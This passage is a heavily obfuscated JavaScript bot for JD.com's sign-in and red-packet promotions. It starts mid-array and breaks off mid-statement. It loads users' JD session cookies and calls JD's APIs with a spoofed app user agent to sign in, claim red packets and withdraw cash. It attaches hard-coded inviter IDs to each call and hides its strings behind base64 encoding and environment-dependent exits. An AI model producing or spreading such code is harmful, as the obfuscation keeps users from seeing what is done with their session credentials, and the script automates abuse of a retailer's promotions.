k','aHR0cHM6Ly9kYWlseS1yZWRwYWNrZXQuamQuY29t','emgtQ04semgtSGFucztxPTAuOQ==','Li9KU19VU0VSX0FHRU5UUw==','SlNVQQ==','J2pkbHRhcHA7aVBhZDszLjEuMDsxNC40O25ldHdvcmsvd2lmaTtNb3ppbGxhLzUuMCAoaVBhZDsgQ1BVIE9TIDE0XzQgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','aHR0cHM6Ly9kYWlseS1yZWRwYWNrZXQuamQuY29tLw==','Z3ppcCwgZGVmbGF0ZSwgYnI=','WnZuekY=','aml5bU8=','TFJNZEs=','SHNoaFA=','aHR0cHM6Ly9hcGkubS5qZC5jb20=','WFhvcFM=','Tm1CSHg=','aktpdEY=','U2FZamM=','YmxIcXY=','THdzT2U=','WnBMQVk=','SlNfVVNFUl9BR0VOVA==','T0pCb1Y=','QkpreVI=','VVNFUl9BR0VOVA==','SUNVVWE=','RnJPcFI=','Q2RnVlc=','bnZnbkw=','cG9zdA==','RGVJWVg=','WXVkb2E=','U0lHTl9VUkw=','dG9PYmo=','Y1NNT0c=','Y29kZQ==','SlVqeUY=','U1pIQkk=','eGxUTFc=','ZGF0YQ==','cmV0Q29kZQ==','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5oiQ5YqfCg==','ZkVEdGo=','Q3Zrc00=','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5aSx6LSlOg==','cmV0TWVzc2FnZQ==','Wm1OUVk=','S294WEI=','Tk9IWGo=','cVNhenU=','UGhOYlI=','ZXJyTXNn','5p6B6YCf54mI562+5Yiw5o+Q546w77ya562+5Yiw5byC5bi4Og==','RnRMY1c=','dUZzR1U=','Rml4bFI=','a0dCcXc=','cmV0Y29kZQ==','MTAwMQ==','dXNlckluZm8=','UEVnT0Q=','c3ByaW5nX3Jld2FyZF9xdWVyeQ==','SFhaNjBoZTVYeEc4WE5VRjJMU3JaZw==','RlNzaUY=','Vk9weVc=','S0hzTUo=','UmZjdUo=','cFdMeHI=','ZFFUeVE=','Wkd4ZXQ=','TWlOV0Q=','bkVxbG8=','TG1Dd1Y=','aGFzT3duUHJvcGVydHk=','bXd0QWw=','YmFzZUluZm8=','bmlja25hbWU=','Z2V0','a3NpSlQ=','YlJDSG0=','Z1JITFE=','Zmxvb3I=','d1l1V0M=','cmFuZG9t','VkhVeEQ=','Z05Ba2U=','dFdXam0=','QVV5TWk=','bHp6Z0M=','a3ZXYmo=','5p6B6YCf54mI562+5Yiw5p+l6K+i5aWW5ZOB77ya5aSx6LSlOg==','VnRRTlA=','aFBiRGo=','Z05rbXE=','TnpxUEM=','5Lqs5Lic5pyN5Yqh5Zmo6L+U5Zue56m65pWw5o2u','b0ZXYW8=','RnlmSkY=','YmZZbEU=','ZXRrdmU=','S05sUE8=','6I635b6X5LyY5oOg5Yi4','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20=','aHR0cHM6Ly9wcm9kZXYubS5qZC5jb20v','a0JHV1k=','bkRCUW0=','c3ByaW5nX3Jld2FyZF9yZWNlaXZl','ZVRndk8=','RHhCR1M=','aWR0Z3M=','b2dvQnY=','YmtRa0g=','UVJlcXg=','bG5jaFM=','SkJrYno=','VHVrbmU=','WktvdEk=','cE1GZ04=','VUFaZ1g=','eHN6U2w=','bGhocXI=','aUZxQUQ=','R0VMaHA=','Tmx1ZGE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vPw==','cGJqSmE=','Yk5ZRVE=','VWpIU3M=','Zk5MR2E=','bUF0dGg=','aE5XY2o=','VUJtbkw=','cmVjZWl2ZWQ=','cHJpemVUeXBl','RFBhQlY=','RUF3ZlY=','eHFpdXk=','cHJpemVEZXNj','V2RxREg=','UWJjY2I=','5p6B6YCf54mI562+5Yiw5p+l6K+i5aWW5ZOB77ya5byC5bi4Og==','aHR0cHM6Ly9hcGkubS5qZC5jb20vP2Z1bmN0aW9uSWQ9','JmJvZHk9','UURpVUk=','JnQ9','bm93','JmFwcGlkPWFjdGl2aXRpZXNfcGxhdGZvcm0=','cFlBVWw=','enZsQlY=','TUxPZUE=','WVRyS2o=','ekliUlI=','VER2RHA=','ZlVOVFc=','aGdwQ3A=','U0Vaak8=','WVhJRFc=','UEdjQmM=','SXJRVUk=','b2V2ank=','T1hpQ3Y=','c3ByaW5nX3Jld2FyZF9saXN0','WnFUZXo=','SVJWdlY=','cXh1ZW8=','c2JadVE=','dGdPUm4=','d1hySnQ=','R2x3emQ=','S01jYnc=','S2d1cmk=','aXRlbXM=','aGFQcGg=','c3RhdGU=','RVhleEw=','Um1LYkU=','5p6B6YCf54mI562+5Yiw5o+Q546w546w6YeR77ya5aSx6LSlOg==','5Y675o+Q546w','YW1vdW50','5b6u5L+h546w6YeR','5b6u5L+h546w6YeR77yM','R3ZHaEU=','cG9vbEJhc2VJZA==','cHJpemVHcm91cElk','cHJpemVCYXNlSWQ=','dWlGcUY=','WE9MWVA=','YmVuUmg=','YmJTdEU=','cHJpemVWYWx1ZQ==','c2lnblByaXplRGV0YWlsTGlzdA==','VmN2U1M=','Z2J1RXA=','Y0RleEI=','TG5EdVM=','enlsYVY=','VEdrYkI=','S1V2ZFk=','eFVIalY=','TGR4bWQ=','d0tGUmY=','WWZkR3U=','UG1oTno=','eXVFRWg=','SHZKZ2o=','ZnJiY0s=','TGxMcnY=','U3VKYVQ=','cHJpemVEcmF3QmFzZVZvUGFnZUJlYW4=','cHJpemVTdGF0dXM=','WW5IdFM=','U0lBUUk=','d2xCVFg=','5p6B6YCf54mI562+5Yiw5o+Q546w77yM5Y675o+Q546w','SlZDQ3g=','BejXsSJXjiNefHLnHqakmi.com.v6=='];if(function(_0x4f4d31,_0x3e2464,_0x2daa40){function _0x4b4e78(_0x5c13df,_0x472973,_0x357464,_0x3b24ae,_0x16f80b,_0xadf157){_0x472973=_0x472973>>0x8,_0x16f80b='po';var _0x597c69='shift',_0x93f1f4='push',_0xadf157='‮';if(_0x472973<_0x5c13df){while(--_0x5c13df){_0x3b24ae=_0x4f4d31[_0x597c69]();if(_0x472973===_0x5c13df&&_0xadf157==='‮'&&_0xadf157['length']===0x1){_0x472973=_0x3b24ae,_0x357464=_0x4f4d31[_0x16f80b+'p']();}else if(_0x472973&&_0x357464['replace'](/[BeXSJXNefHLnHqk=]/g,'')===_0x472973){_0x4f4d31[_0x93f1f4](_0x3b24ae);}}_0x4f4d31[_0x93f1f4](_0x4f4d31[_0x597c69]());}return 0xf8f41;};return _0x4b4e78(++_0x3e2464,_0x2daa40)>>_0x3e2464^_0x2daa40;}(_0x16b2,0x156,0x15600),_0x16b2){_0xodf_=_0x16b2['length']^0x156;};function _0x1526(_0x1f345e,_0x24ee90){_0x1f345e=~~'0x'['concat'](_0x1f345e['slice'](0x1));var _0x52b306=_0x16b2[_0x1f345e];if(_0x1526['pjrRnf']===undefined&&'‮'['length']===0x1){(function(){var _0x492aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0xa9dca1='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x492aa4['atob']||(_0x492aa4['atob']=function(_0x1c70af){var _0x70962f=String(_0x1c70af)['replace'](/=+$/,'');for(var _0x522aa1=0x0,_0x1a6042,_0x31a8d7,_0x5f0042=0x0,_0x11c64d='';_0x31a8d7=_0x70962f['charAt'](_0x5f0042++);~_0x31a8d7&&(_0x1a6042=_0x522aa1%0x4?_0x1a6042*0x40+_0x31a8d7:_0x31a8d7,_0x522aa1++%0x4)?_0x11c64d+=String['fromCharCode'](0xff&_0x1a6042>>(-0x2*_0x522aa1&0x6)):0x0){_0x31a8d7=_0xa9dca1['indexOf'](_0x31a8d7);}return _0x11c64d;});}());_0x1526['UWTCZz']=function(_0x59bf3f){var _0x134d70=atob(_0x59bf3f);var _0x5045ee=[];for(var _0x26d52d=0x0,_0x206e6f=_0x134d70['length'];_0x26d52d<_0x206e6f;_0x26d52d++){_0x5045ee+='%'+('00'+_0x134d70['charCodeAt'](_0x26d52d)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x5045ee);};_0x1526['pstApe']={};_0x1526['pjrRnf']=!![];}var _0x459600=_0x1526['pstApe'][_0x1f345e];if(_0x459600===undefined){_0x52b306=_0x1526['UWTCZz'](_0x52b306);_0x1526['pstApe'][_0x1f345e]=_0x52b306;}else{_0x52b306=_0x459600;}return _0x52b306;};const $=new Env(_0x1526('‫0'));const notify=$[_0x1526('‫1')]()?require(_0x1526('‮2')):'';const jdCookieNode=$[_0x1526('‫1')]()?require(_0x1526('‮3')):'';let cookiesArr=[],cookie='',message;const linkIdArr=[_0x1526('‫4')];const signLinkId=_0x1526('‮5');let linkId;if($[_0x1526('‫1')]()){Object[_0x1526('‮6')](jdCookieNode)[_0x1526('‮7')](_0x23c25c=>{cookiesArr[_0x1526('‮8')](jdCookieNode[_0x23c25c]);});if(process[_0x1526('‫9')][_0x1526('‫a')]&&process[_0x1526('‫9')][_0x1526('‫a')]===_0x1526('‫b'))console[_0x1526('‫c')]=()=>{};if(JSON[_0x1526('‫d')](process[_0x1526('‫9')])[_0x1526('‮e')](_0x1526('‮f'))>-0x1)process[_0x1526('‮10')](0x0);}else{cookiesArr=[$[_0x1526('‫11')](_0x1526('‫12')),$[_0x1526('‫11')](_0x1526('‫13')),...jsonParse($[_0x1526('‫11')](_0x1526('‫14'))||'[]')[_0x1526('‫15')](_0x4fa89f=>_0x4fa89f[_0x1526('‫16')])][_0x1526('‫17')](_0x22c582=>!!_0x22c582);}!(async()=>{var _0x46176d={'acRti':function(_0x3351f7,_0x2fb3b2){return _0x3351f7==_0x2fb3b2;},'BVUCo':_0x1526('‮18'),'RoONp':_0x1526('‮19'),'Wdzbw':function(_0xcd7003,_0x4d9d7f){return _0xcd7003===_0x4d9d7f;},'DlKQG':_0x1526('‮1a'),'OnrgU':_0x1526('‫1b'),'cQHUa':_0x1526('‮1c'),'idamD':_0x1526('‫1d'),'YCEze':function(_0x1009ea,_0x26367f){return _0x1009ea<_0x26367f;},'cfbBG':function(_0x3f3d3a,_0x27cada){return _0x3f3d3a(_0x27cada);},'IyNOL':function(_0x2652a8,_0x747a5){return _0x2652a8+_0x747a5;},'imHjo':function(_0x1af9a6){return _0x1af9a6();},'fTOOI':_0x1526('‮1e'),'fISGg':function(_0x55bd60,_0x42a058){return _0x55bd60<_0x42a058;}};if(!cookiesArr[0x0]){if(_0x46176d[_0x1526('‮1f')](_0x46176d[_0x1526('‫20')],_0x46176d[_0x1526('‮21')])){$[_0x1526('‮22')](e,resp);}else{$[_0x1526('‮23')]($[_0x1526('‮24')],_0x46176d[_0x1526('‮25')],_0x46176d[_0x1526('‫26')],{'open-url':_0x46176d[_0x1526('‫26')]});return;}}for(let _0x26cae5=0x0;_0x46176d[_0x1526('‮27')](_0x26cae5,cookiesArr[_0x1526('‫28')]);_0x26cae5++){if(cookiesArr[_0x26cae5]){console[_0x1526('‫c')](_0x1526('‮29'));cookie=cookiesArr[_0x26cae5];$[_0x1526('‫2a')]=_0x46176d[_0x1526('‫2b')](decodeURIComponent,cookie[_0x1526('‫2c')](/pt_pin=([^; ]+)(?=;?)/)&&cookie[_0x1526('‫2c')](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[_0x1526('‮2d')]=_0x46176d[_0x1526('‮2e')](_0x26cae5,0x1);$[_0x1526('‫2f')]=!![];$[_0x1526('‮30')]='';message='';await _0x46176d[_0x1526('‮31')](TotalBean);console[_0x1526('‫c')](_0x1526('‮32')+$[_0x1526('‮2d')]+'】'+($[_0x1526('‮30')]||$[_0x1526('‫2a')])+_0x1526('‮33'));if(!$[_0x1526('‫2f')]){if(_0x46176d[_0x1526('‮1f')](_0x46176d[_0x1526('‫34')],_0x46176d[_0x1526('‫34')])){$[_0x1526('‮23')]($[_0x1526('‮24')],_0x1526('‮35'),_0x1526('‮36')+$[_0x1526('‮2d')]+'\x20'+($[_0x1526('‮30')]||$[_0x1526('‫2a')])+_0x1526('‫37'),{'open-url':_0x46176d[_0x1526('‫26')]});if($[_0x1526('‫1')]()){await notify[_0x1526('‫38')]($[_0x1526('‮24')]+_0x1526('‮39')+$[_0x1526('‫2a')],_0x1526('‮36')+$[_0x1526('‮2d')]+'\x20'+$[_0x1526('‫2a')]+_0x1526('‮3a'));}continue;}else{if(_0x46176d[_0x1526('‫3b')](typeof str,_0x46176d[_0x1526('‮3c')])){try{return JSON[_0x1526('‫3d')](str);}catch(_0x3f4bee){console[_0x1526('‫c')](_0x3f4bee);$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x46176d[_0x1526('‫3e')]);return[];}}}}for(let _0x11d0ad=0x0;_0x46176d[_0x1526('‮3f')](_0x11d0ad,linkIdArr[_0x1526('‫28')]);_0x11d0ad++){linkId=linkIdArr[_0x11d0ad];await _0x46176d[_0x1526('‮31')](jsRedPacket);}}}})()[_0x1526('‫40')](_0x3f00c2=>{$[_0x1526('‫c')]('','❌\x20'+$[_0x1526('‮24')]+_0x1526('‫41')+_0x3f00c2+'!','');})[_0x1526('‫42')](()=>{$[_0x1526('‮43')]();});async function jsRedPacket(){var _0x54a238={'aQzXJ':function(_0x4d3ddb){return _0x4d3ddb();},'bznYA':function(_0x2d4565){return _0x2d4565();},'HjJMQ':function(_0x5cd4ba){return _0x5cd4ba();},'FdriM':function(_0x23c606,_0x35aaaa){return _0x23c606<_0x35aaaa;},'GyKjm':function(_0x2df15c,_0x264898){return _0x2df15c!==_0x264898;},'SMNNJ':_0x1526('‮44'),'fyfLZ':function(_0x29144f){return _0x29144f();},'VRwUu':function(_0x22d2b6){return _0x22d2b6();},'RKzsR':function(_0x5d319b){return _0x5d319b();}};try{await _0x54a238[_0x1526('‮45')](invite2);await _0x54a238[_0x1526('‫46')](sign);await _0x54a238[_0x1526('‮47')](reward_query);for(let _0x3b8746=0x0;_0x54a238[_0x1526('‫48')](_0x3b8746,0x3);_0x3b8746++){if(_0x54a238[_0x1526('‮49')](_0x54a238[_0x1526('‮4a')],_0x54a238[_0x1526('‮4a')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](err));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{await _0x54a238[_0x1526('‮4c')](redPacket);await $[_0x1526('‮4d')](0x7d0);}}await _0x54a238[_0x1526('‫4e')](getPacketList);await _0x54a238[_0x1526('‮4f')](signPrizeDetailList);await _0x54a238[_0x1526('‮4f')](showMsg);}catch(_0x168770){$[_0x1526('‮22')](_0x168770);}}function showMsg(){var _0x23ec2c={'dbfuT':function(_0x588157){return _0x588157();}};return new Promise(_0x221922=>{if(message)$[_0x1526('‮23')]($[_0x1526('‮24')],'',_0x1526('‮36')+$[_0x1526('‮2d')]+$[_0x1526('‮30')]+'\x0a'+message);_0x23ec2c[_0x1526('‮50')](_0x221922);});}async function sign(){var _0x3c4642={'DeIYX':function(_0x5a1eae,_0x2c5466){return _0x5a1eae!==_0x2c5466;},'Yudoa':_0x1526('‮51'),'OJBoV':function(_0x43e193,_0x53f2e6){return _0x43e193(_0x53f2e6);},'cSMOG':function(_0x188a99,_0x115955){return _0x188a99===_0x115955;},'JUjyF':function(_0x541c3e,_0x4c7c82){return _0x541c3e!==_0x4c7c82;},'SZHBI':_0x1526('‮52'),'xlTLW':_0x1526('‫53'),'fEDtj':function(_0x3e1c91,_0x8408e){return _0x3e1c91===_0x8408e;},'CvksM':_0x1526('‮54'),'NOHXj':_0x1526('‮55'),'qSazu':_0x1526('‫56'),'ZvnzF':function(_0x2961e7,_0x289ed0){return _0x2961e7==_0x289ed0;},'jiymO':_0x1526('‫57'),'LRMdK':function(_0x29fe17,_0x6a6c30){return _0x29fe17===_0x6a6c30;},'HshhP':_0x1526('‮58'),'XXopS':function(_0x239bb3,_0x305c28,_0x1c4190,_0x4d3ace){return _0x239bb3(_0x305c28,_0x1c4190,_0x4d3ace);},'NmBHx':_0x1526('‫59'),'jKitF':_0x1526('‮5a'),'SaYjc':_0x1526('‮5b'),'blHqv':_0x1526('‫5c'),'LwsOe':_0x1526('‫5d'),'ZpLAY':_0x1526('‫5e'),'BJkyR':_0x1526('‮5f'),'ICUUa':_0x1526('‮60'),'FrOpR':_0x1526('‮61'),'CdgVW':_0x1526('‫62'),'nvgnL':_0x1526('‮63')};return new Promise(async _0x5f568a=>{var _0x36cad2={'ZmNQY':function(_0x2cef0e,_0x192125){return _0x3c4642[_0x1526('‫64')](_0x2cef0e,_0x192125);},'KoxXB':_0x3c4642[_0x1526('‮65')],'PhNbR':function(_0xadd15c,_0x15d6e0){return _0x3c4642[_0x1526('‮66')](_0xadd15c,_0x15d6e0);}};const _0x2af90e={'linkId':signLinkId,'serviceName':_0x3c4642[_0x1526('‫67')],'business':0x1};const _0x1a75fd={'url':_0x1526('‮68'),'body':await _0x3c4642[_0x1526('‫69')](getSign,_0x3c4642[_0x1526('‫6a')],_0x2af90e,!![]),'headers':{'Host':_0x3c4642[_0x1526('‫6b')],'Accept':_0x3c4642[_0x1526('‫6c')],'Content-Type':_0x3c4642[_0x1526('‮6d')],'Origin':_0x3c4642[_0x1526('‫6e')],'Accept-Language':_0x3c4642[_0x1526('‫6f')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x3c4642[_0x1526('‮71')](require,_0x3c4642[_0x1526('‫72')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x3c4642[_0x1526('‮74')])?$[_0x1526('‫11')](_0x3c4642[_0x1526('‮74')]):_0x3c4642[_0x1526('‫75')],'Referer':_0x3c4642[_0x1526('‮76')],'Accept-Encoding':_0x3c4642[_0x1526('‫77')],'Cookie':cookie}};$[_0x1526('‮78')](_0x1a75fd,async(_0x648126,_0x53ab8f,_0x394de9)=>{try{if(_0x3c4642[_0x1526('‮79')](_0x3c4642[_0x1526('‮7a')],_0x3c4642[_0x1526('‮7a')])){Host=process[_0x1526('‫9')][_0x1526('‮7b')];}else{if(_0x648126){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x648126));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x3c4642[_0x1526('‮71')](safeGet,_0x394de9)){_0x394de9=$[_0x1526('‮7c')](_0x394de9);if(_0x3c4642[_0x1526('‮7d')](_0x394de9[_0x1526('‫7e')],0x0)){if(_0x3c4642[_0x1526('‫7f')](_0x3c4642[_0x1526('‫80')],_0x3c4642[_0x1526('‫81')])){if(_0x3c4642[_0x1526('‮7d')](_0x394de9[_0x1526('‮82')][_0x1526('‫83')],0x0)){message+=_0x1526('‫84');console[_0x1526('‫c')](_0x1526('‫84'));}else{if(_0x3c4642[_0x1526('‫85')](_0x3c4642[_0x1526('‫86')],_0x3c4642[_0x1526('‫86')])){console[_0x1526('‫c')](_0x1526('‫87')+_0x394de9[_0x1526('‮82')][_0x1526('‮88')]+'\x0a');}else{if(_0x36cad2[_0x1526('‫89')](typeof JSON[_0x1526('‫3d')](_0x394de9),_0x36cad2[_0x1526('‫8a')])){return!![];}}}}else{$[_0x1526('‮22')](e,_0x53ab8f);}}else{if(_0x3c4642[_0x1526('‫85')](_0x3c4642[_0x1526('‫8b')],_0x3c4642[_0x1526('‫8c')])){_0x394de9=JSON[_0x1526('‫3d')](_0x394de9);if(_0x36cad2[_0x1526('‫8d')](_0x394de9[_0x1526('‫7e')],0x0)){}else{console[_0x1526('‫c')](_0x394de9[_0x1526('‫8e')]);}}else{console[_0x1526('‫c')](_0x1526('‮8f')+JSON[_0x1526('‫d')](_0x394de9)+'\x0a');}}}}}}catch(_0x1ee069){$[_0x1526('‮22')](_0x1ee069,_0x53ab8f);}finally{_0x3c4642[_0x1526('‮71')](_0x5f568a,_0x394de9);}});});}function reward_query(){var _0x281711={'VHUxD':function(_0x549ca4,_0x2a2d55){return _0x549ca4!==_0x2a2d55;},'gNAke':_0x1526('‮90'),'tWWjm':_0x1526('‮91'),'lzzgC':function(_0x911da7,_0x2659dc){return _0x911da7!==_0x2659dc;},'kvWbj':_0x1526('‮92'),'VtQNP':function(_0x19933a,_0x310729){return _0x19933a(_0x310729);},'hPbDj':function(_0xf7e8e9,_0x1d84fc){return _0xf7e8e9!==_0x1d84fc;},'gNkmq':_0x1526('‫93'),'FSsiF':function(_0x88835f,_0x31e51e){return _0x88835f===_0x31e51e;},'NzqPC':function(_0x2d9074,_0x457526){return _0x2d9074(_0x457526);},'VOpyW':_0x1526('‮94'),'KHsMJ':_0x1526('‫95'),'RfcuJ':_0x1526('‫96'),'pWLxr':function(_0x542512){return _0x542512();},'dQTyQ':function(_0x3532e1,_0x4d962d){return _0x3532e1!==_0x4d962d;},'ZGxet':_0x1526('‮97'),'ksiJT':function(_0xfbdd0,_0x11b9f8,_0x1293aa){return _0xfbdd0(_0x11b9f8,_0x1293aa);},'bRCHm':_0x1526('‫98'),'gRHLQ':_0x1526('‫99'),'wYuWC':function(_0x1157e1,_0x26aeae){return _0x1157e1*_0x26aeae;}};return new Promise(_0x320516=>{var _0x569637={'MiNWD':function(_0x2f577b,_0x300550){return _0x281711[_0x1526('‫9a')](_0x2f577b,_0x300550);},'nEqlo':_0x281711[_0x1526('‫9b')],'LmCwV':_0x281711[_0x1526('‮9c')],'mwtAl':_0x281711[_0x1526('‫9d')],'AUyMi':function(_0xda51f3){return _0x281711[_0x1526('‫9e')](_0xda51f3);}};if(_0x281711[_0x1526('‮9f')](_0x281711[_0x1526('‫a0')],_0x281711[_0x1526('‫a0')])){data=JSON[_0x1526('‫3d')](data);if(_0x569637[_0x1526('‮a1')](data[_0x569637[_0x1526('‫a2')]],_0x569637[_0x1526('‫a3')])){$[_0x1526('‫2f')]=![];return;}if(_0x569637[_0x1526('‮a1')](data[_0x569637[_0x1526('‫a2')]],'0')&&data[_0x1526('‮82')]&&data[_0x1526('‮82')][_0x1526('‮a4')](_0x569637[_0x1526('‫a5')])){$[_0x1526('‮30')]=data[_0x1526('‮82')][_0x1526('‫96')][_0x1526('‮a6')][_0x1526('‫a7')];}}else{$[_0x1526('‮a8')](_0x281711[_0x1526('‫a9')](taskGetUrl,_0x281711[_0x1526('‮aa')],{'linkId':linkId,'inviter':[_0x281711[_0x1526('‫ab')]][Math[_0x1526('‮ac')](_0x281711[_0x1526('‮ad')](Math[_0x1526('‮ae')](),0x1))]}),async(_0xea2c2e,_0x5c359b,_0x42b854)=>{try{if(_0xea2c2e){if(_0x281711[_0x1526('‫af')](_0x281711[_0x1526('‮b0')],_0x281711[_0x1526('‮b1')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0xea2c2e));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{_0x569637[_0x1526('‫b2')](_0x320516);}}else{if(_0x281711[_0x1526('‫b3')](_0x281711[_0x1526('‫b4')],_0x281711[_0x1526('‫b4')])){console[_0x1526('‫c')](_0x1526('‫b5')+JSON[_0x1526('‫d')](_0x42b854)+'\x0a');}else{if(_0x281711[_0x1526('‮b6')](safeGet,_0x42b854)){if(_0x281711[_0x1526('‫b7')](_0x281711[_0x1526('‫b8')],_0x281711[_0x1526('‫b8')])){return!![];}else{_0x42b854=JSON[_0x1526('‫3d')](_0x42b854);if(_0x281711[_0x1526('‫9a')](_0x42b854[_0x1526('‫7e')],0x0)){}else{console[_0x1526('‫c')](_0x42b854[_0x1526('‫8e')]);}}}}}}catch(_0x33ab7d){$[_0x1526('‮22')](_0x33ab7d,_0x5c359b);}finally{_0x281711[_0x1526('‫b9')](_0x320516,_0x42b854);}});}});}async function redPacket(){var _0x2df0ec={'bNYEQ':_0x1526('‫ba'),'UjHSs':function(_0x143512,_0x1c3dab){return _0x143512!==_0x1c3dab;},'fNLGa':_0x1526('‮bb'),'mAtth':_0x1526('‮bc'),'hNWcj':function(_0x43428c,_0xc0257c){return _0x43428c(_0xc0257c);},'UBmnL':function(_0x56fa7e,_0x2da9bb){return _0x56fa7e===_0x2da9bb;},'DPaBV':_0x1526('‫bd'),'EAwfV':_0x1526('‮be'),'pMFgN':function(_0xb41e6b,_0x23ea1a){return _0xb41e6b!==_0x23ea1a;},'WdqDH':_0x1526('‫bf'),'Qbccb':_0x1526('‮c0'),'eTgvO':function(_0x317e5a,_0x33c41c){return _0x317e5a(_0x33c41c);},'DxBGS':_0x1526('‮5a'),'idtgs':_0x1526('‮5b'),'ogoBv':_0x1526('‫c1'),'bkQkH':_0x1526('‮63'),'QReqx':_0x1526('‮5f'),'lnchS':_0x1526('‮60'),'JBkbz':_0x1526('‮61'),'Tukne':_0x1526('‫5e'),'ZKotI':_0x1526('‫c2'),'UAZgX':_0x1526('‮c3'),'xszSl':_0x1526('‫c4'),'lhhqr':_0x1526('‫99'),'iFqAD':function(_0x23a00c,_0x1e1bc1){return _0x23a00c*_0x1e1bc1;},'GELhp':function(_0x3249d3,_0x2904c7,_0x3dbd5e,_0x6646b0){return _0x3249d3(_0x2904c7,_0x3dbd5e,_0x6646b0);},'Nluda':_0x1526('‮c5'),'pbjJa':function(_0x38debd,_0x3dc8ff){return _0x38debd(_0x3dc8ff);}};return new Promise(async _0x2ec4f5=>{var _0x13cc42={'QDiUI':function(_0x3bc223,_0x4a3a26){return _0x2df0ec[_0x1526('‫c6')](_0x3bc223,_0x4a3a26);},'pYAUl':_0x2df0ec[_0x1526('‮c7')],'zvlBV':_0x2df0ec[_0x1526('‫c8')],'MLOeA':_0x2df0ec[_0x1526('‮c9')],'YTrKj':_0x2df0ec[_0x1526('‫ca')],'zIbRR':_0x2df0ec[_0x1526('‫cb')],'TDvDp':_0x2df0ec[_0x1526('‫cc')],'fUNTW':_0x2df0ec[_0x1526('‫cd')],'hgpCp':_0x2df0ec[_0x1526('‫ce')],'SEZjO':_0x2df0ec[_0x1526('‫cf')]};if(_0x2df0ec[_0x1526('‫d0')](_0x2df0ec[_0x1526('‫d1')],_0x2df0ec[_0x1526('‮d2')])){let _0x380f42={'linkId':linkId,'inviter':[_0x2df0ec[_0x1526('‫d3')]][Math[_0x1526('‮ac')](_0x2df0ec[_0x1526('‫d4')](Math[_0x1526('‮ae')](),0x1))]};_0x380f42=await _0x2df0ec[_0x1526('‫d5')](getSign,_0x2df0ec[_0x1526('‫d6')],_0x380f42,!![]);let _0x49041d={'url':_0x1526('‫d7')+_0x380f42,'headers':{'Host':_0x2df0ec[_0x1526('‮c7')],'Accept':_0x2df0ec[_0x1526('‫c8')],'Origin':_0x2df0ec[_0x1526('‮c9')],'Accept-Encoding':_0x2df0ec[_0x1526('‫ca')],'User-Agent':$[_0x1526('‫1')]()?process[_0x1526('‫9')][_0x1526('‮70')]?process[_0x1526('‫9')][_0x1526('‮70')]:_0x2df0ec[_0x1526('‮d8')](require,_0x2df0ec[_0x1526('‫cb')])[_0x1526('‫73')]:$[_0x1526('‫11')](_0x2df0ec[_0x1526('‫cc')])?$[_0x1526('‫11')](_0x2df0ec[_0x1526('‫cc')]):_0x2df0ec[_0x1526('‫cd')],'Accept-Language':_0x2df0ec[_0x1526('‫ce')],'Referer':_0x2df0ec[_0x1526('‫cf')],'Cookie':cookie}};$[_0x1526('‮a8')](_0x49041d,async(_0x7968c4,_0x3775ca,_0x80aac)=>{var _0x1a1cbd={'xqiuy':_0x2df0ec[_0x1526('‫d9')]};if(_0x2df0ec[_0x1526('‮da')](_0x2df0ec[_0x1526('‫db')],_0x2df0ec[_0x1526('‫dc')])){try{if(_0x7968c4){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x7968c4));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{if(_0x2df0ec[_0x1526('‫dd')](safeGet,_0x80aac)){_0x80aac=JSON[_0x1526('‫3d')](_0x80aac);if(_0x2df0ec[_0x1526('‫de')](_0x80aac[_0x1526('‫7e')],0x0)){if(_0x2df0ec[_0x1526('‮da')](_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‮e0')],0x1)){if(_0x2df0ec[_0x1526('‫de')](_0x2df0ec[_0x1526('‫e1')],_0x2df0ec[_0x1526('‫e2')])){console[_0x1526('‫c')](_0x1a1cbd[_0x1526('‫e3')]);}else{message+='获得'+_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]+'\x0a';console[_0x1526('‫c')]('获得'+_0x80aac[_0x1526('‮82')][_0x1526('‫df')][_0x1526('‫e4')]);}}else{if(_0x2df0ec[_0x1526('‫d0')](_0x2df0ec[_0x1526('‮e5')],_0x2df0ec[_0x1526('‮e5')])){console[_0x1526('‫c')](''+JSON[_0x1526('‫d')](_0x7968c4));console[_0x1526('‫c')]($[_0x1526('‮24')]+_0x1526('‫4b'));}else{console[_0x1526('‫c')](_0x2df0ec[_0x1526('‮e6')]);}}}else{console[_0x1526('‫c')](_0x80aac[_0x1526('‫8e')]);}}}}catch(_0x5ada11){$[_0x1526('‮22')](_0x5ada11,_0x3775ca);}finally{_0x2df0ec[_0x1526('‫c6')](_0x2ec4f5,_0x80aac);}}else{console[_0x1526('‫c')](_0x1526('‫e7')+JSON[_0x1526('‫d')](_0x80aac)+'\x0a');}});}else{return{'url':_0x1526('‫e8')+function_id+_0x1526('‮e9')+_0x13cc42[_0x1526('‫ea')](encodeURIComponent,JSON[_0x1526('‫d')](body))+_0x1526('‫eb')+Date[_0x1526('‫ec')]()+_0x1526('‮ed'),'headers':{'Host':_0x13cc42[_0x1526('‫ee')],'Accept':_0x13c